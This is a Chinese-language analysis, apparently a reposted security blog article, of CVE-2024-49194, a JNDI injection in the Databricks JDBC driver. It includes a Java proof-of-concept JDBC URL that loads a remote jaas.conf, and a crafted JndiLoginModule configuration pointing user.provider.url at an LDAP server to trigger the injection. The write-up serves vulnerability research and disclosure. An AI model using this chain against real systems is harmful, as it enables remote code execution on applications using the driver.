Databricks JDBC 驱动程序中存在一个漏洞,影响 v2.6.38 及以下版本。从官方通报的信息来看,漏洞根源与 krbJAASFile 参数有关,攻击者可使用具有 Property 的特殊 JDBC URL 来触发 JNDI 注入。
引入环境:
<!-- https://mvnrepository.com/artifact/com.databricks/databricks-jdbc -->
<dependency>
<groupId>com.databricks</groupId>
<artifactId>databricks-jdbc</artifactId>
<version>2.6.38</version>
</dependency>
漏洞与参数 krbJAASFile 有关,直接提问大模型可知, krbJAASFile 参数用于 Kerberos 认证,负责指定 JAAS 配置文件路径:
krbJAASFile 如果仅仅加载本地配置文件没有意义,测试是否支持 http 远程加载:
package org.example;
import java.sql.DriverManager;
public class Main {
public static void main(String[] args) throws Exception {
String jdbcUrl = "jdbc:databricks://localhost:443/default;transportMode=http;n" +
"ssl=1;httpPath=/sql/1.0/endpoints/12345;n" +
"AuthMech=1;krbHostFQDN=localhost;n" +
"krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.conf";
DriverManager.getConnection(jdbcUrl);
}
}
确实可以从指定的 http 地址去加载远程文件,但是在 LoginContext 中抛出了异常:
继续与大模型"对话",修正 jaas.conf 配置:
更新配置后再次请求将进入 LoginContext#login 函数,并通过 invokePriv 来反射调用 LOGIN_METHOD 函数:
继续往下走进入 Invoke 函数,这里将调用 module 对象的 login 函数, module 对应 jaas.conf 配置文件中的 Krb5LoginModule 类型:
分析发现 LoginModule 接口存在多个子类,除了 Krb5LoginModule ,还存在一个名为 JndiLoginModule 的类型,为了验证其是否存在 JNDI 注入漏洞,修改配置文件如下:
Client {
com.sun.security.auth.module.JndiLoginModule required
useKeyTab=true
keyTab="/etc/security/databricks.keytab"
principal="[email protected]"
storeKey=true
debug=true;
};
再次请求成功进入 com.sun.security.auth.module.JndiLoginModule#login 函数,内部首先判断 userProvider 、 groupProvider 是否为空,为空将抛出异常,然后当 tryFirstPass 为 true 时将调用 attemptAuthentication 函数:
进入 attemptAuthentication 函数,存在明显的 JNDI 注入漏洞的 Sink 点,并且 lookup 函数的输入参数 userProvider 可控 :
com.sun.security.auth.module.JndiLoginModule#initialize 函数中会完成 userProvider 等参数初始化:
public final String USER_PROVIDER = "user.provider.url";
public final String GROUP_PROVIDER = "group.provider.url";
...
public void initialize(Subject subject, CallbackHandler callbackHandler,
Map<String,?> sharedState,
Map<String,?> options) {
...
userProvider = (String)options.get(USER_PROVIDER);
groupProvider = (String)options.get(GROUP_PROVIDER);
tryFirstPass =
"true".equalsIgnoreCase((String)options.get("tryFirstPass"));
...
}
因此很容易构造出触发 JNDI 注入漏洞的配置文件:
Client {
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://localhost:1389/test"
group.provider.url="test"
tryFirstPass="true";
};
成功触发:
新版本删除了对 krbJAASFile 参数的支持:
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
原文始发于微信公众号(自在安全):CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论